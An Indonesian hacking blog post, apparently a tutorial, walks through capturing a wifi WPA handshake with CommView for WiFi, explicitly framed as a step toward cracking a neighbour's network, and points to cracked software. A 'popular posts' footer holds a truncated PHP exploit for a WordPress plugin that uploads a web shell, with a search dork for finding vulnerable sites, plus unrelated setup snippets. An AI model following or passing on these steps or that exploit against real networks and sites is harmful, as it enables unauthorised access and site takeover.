Skip to main content

Mendapatkan Handshake Menggunakan CommView On Windows



yyooooaaaa~ , back with me again #OepilCore setelah sebelumnya gua share tentang , 

Tutorial Membuat Wordlist Menggunakan Crunch Di Windows 

kali ini gua akan share tentang , bagaimana caranya mendapatkan handshake wifi target dengan software bernama TamoSoft CommView for WiFi yaitu salah satu syarat untuk mengcrack wifi tetangga kalian kwkwkw~ XD

oke gak usah banyak cincong karena masih ada artikel yang kudu gua tulis lagi kwkwkw XD , ngebutt braayyy~ *sue emang om nue kwkwkw*


oke hal yang harus kalian lakukan adalah , pertama cuci muka , *ehh bukan kwkwkw*
tp biasanya faktor kegantengan itu mempengaruhi semuanya lohh kwkwkw bercanda ,

oke langsung download ajah dulu softwarenya dimari 
didalam folder udah ada tata cara install dan cracknya ya semua , tinggal baca ajah ,
jangan males membaca kwkwkw XD


Oke setelah kalian install , maka langsung jalankan ,
ohiya ada pesan nih ,

untuk kalian para pengguna windows 10 / 8 / 8.1 dan sejenisnya kwkwk ,
alahkan baiknya setelah kalian install dan jalankan , jangan lupa ganti compability modenya ke windows xp service pack 3 ,
biar tidak terjadi force exit ataupun semacamnya ya~ 

ini dia penampakan softwarenya
oke setelah dijalankan kita setting loggingnya ,


liat screenshotnya ,
setting seperti ss diatas ya semua ,

setelah di setting , 

lalu kita setting capturenya , lihat tab yang berada di sebelah kanan ,
ada tulisan capture ,
kita klik ke scanner mode , dan klik configure (ceklist semua angka yang ada disana)
dan ubah seconds per channelnya menjadi 0,5 


lalu kita bisa mulai start scan , yang tombolnya berada di pojok kiri atas ,


saat kita melakukan scan akan ada wifi yang muncul ,
pilihlah wifi yang akan kita jadikan target ,
dengan cara sebagai berikut ,

saat wifi yang kita targetkan muncul , kita harus mengklik 1 kali saja wifinya tersebut ,
Dan kita ubah capture kita ke single channel mode , karena target saya memiliki channel 11 ,
maka akan saya ubah single channel mode saya ke 2,4 Ghz - 7 



setelah muncul pop out , device yang menggunakan wifi tersebut , kita bisa langsung stop scan ,
dengan menekan tombol disebelah start scan ,

setelah di stop scan , maka secara otomatis file scan kita akan tersimpan di folder dimana kalian menyetting loggin kalian ,

setelah itu kita akan merubah formatnya kedalam format .cap
dengan cara buka tab file , lalu klil log viewer
dan cari file scan kalian 


setelah dibuka maka akan mengeluarkan output sebagai berikut


nahh setelah yang kalian lihat itu tulisannya biru semua rata rata ,
itu tandanya handshake kalian berhasil ,
perlu diingat , stop scan handshake saat telah muncul pop out dari device pengguna wifi tersebut ,

maka hal yang kita lakukan saat ini adalah , mengeksport file ini menjadi .cap
dengan cara , klik tab file , lalu pilih eksport , dan eksport ke  , wireshark/tcpdump files (*.CAP)
dan berikan nama dan tempatkan dimana kalian ingin menyimpan file handshake tersebut ,



jika selesai maka hasilnya akan seperti di screenshot ,

oke gimana dengan tutorial berikut menarik untuk dibaca atau gimana ? silahkan komentar ya mueheheh XD

maaf jika ada kesalahan kata , karena saya disni juga masih belajar dan gak ada niatan apapun untuk menggurui muehehehe :3
dan sekian untuk tutorial kali ini ,
sampai bertemu di tutorial yang lebih menarik berikutnya ,

gua #OepilCore ,
dan stay cool and keep crootzz kwkwkw XD
paypayyy~

Visit and follow :

FP         : TKJ Cyber Art
G+         TKJ Cyber Art
youtube : TKJ Cyber Art
BBM      : C0018D1A2

Comments

Popular posts from this blog

WordPress dzs-zoomsounds Plugins <= 2.0 - Remote File Upload Vulnerability

################################################################################################### # Exploit Title: WordPress dzs-zoomsounds Plugins Remote File Upload Vulnerability # Vendor : http: //digitalzoomstudio.net/docs/wpzoomsounds/ # Author: bl4ck-dz # Date : 28/05/2015 # Infected File: upload.php # Category: webapps # Google dork:inurl:/wp-content/plugins/dzs-zoomsounds/ # Tested on : Linux | Windows ################################################################################################### <?php $evil = "dz.phtml" ; $ch = curl_init( "http://127.0.0.1/wp-content/plugins/dzs-zoomsounds/admin/upload.php" ); curl_setopt( $ch , CURLOPT_POST, true); curl_setopt( $ch , CURLOPT_POSTFIELDS,          array ( 'file_field' => "@$evil" )); curl_setopt( $ch , CURLOPT_RETURNTRANSFER, 1); $postResult = curl_exec( $ch ); curl_close( $ch ); echo "$postResult" ; ?> Shell Access : http: //127.0.0.1/wp-content/plugins/dzs-zoo...

How to Install CloudSim in Ubuntu (in 3 easy steps)

The contents of this DIY has been tested on Ubuntu 12.04 LTS x64 with CloudSim 3.0.3 beta and JDK8u11 x64. It should work similarly on other distros of Ubuntu and for different version of JDK as long as you use Java version 1.5 or newer. The text shown in RED in the DIY represents the values that will differ depending upon your JDK version and locations. CloudSim is a framework for modelling and simulating cloud computing infrastructure and services. In this DIY we will see how to install CloudSim in Windows easily and efficiently. A more detailed description, APIs and research papers related to CloudSim can be found here . Let us begin. Step 1: Setting up the Prerequisites 1. First of all we need to download the CloudSim and latest version of the Java Development Toolkit (JDK). CloudSim can be found here . 2. CloudSim requires a working Java installation. So, open up a terminal and run the following 1 sudo add-apt-repository ppa:webupd8team/java 2 sudo apt-get...

How To Add or Remove System Icons From The Kali Linux Desktop

When Kali Linux is started, there are always one or more system icons on the desktop. “Computer” is usually a default icon. However, some people might like to remove this icon and/or add other icons like the famous “Trash” icon. All the other tutorials will tell you to use the Linux, “gconfig-editor,” but Kali Linux does not have this system editor! I believe I am the only one who knows of a way to do this, so let me share my knowledge in this simple tutorial. Step one: Start and login to Kali Linux using your account or the “root” account. Step two: Open the main menu. Hover your mouse on “System Tools,” and click on “dconf Editor.” After a few seconds, the dconf Editor will open. Now all you have to do is browse to the correct category and set the options. Step three: When the dconf Editor window opens, click on the plus sign next to “org” (located in the left pane). Step four: Now click the plus sign next to “gnome.” Step five: Scroll down the list in the left pan...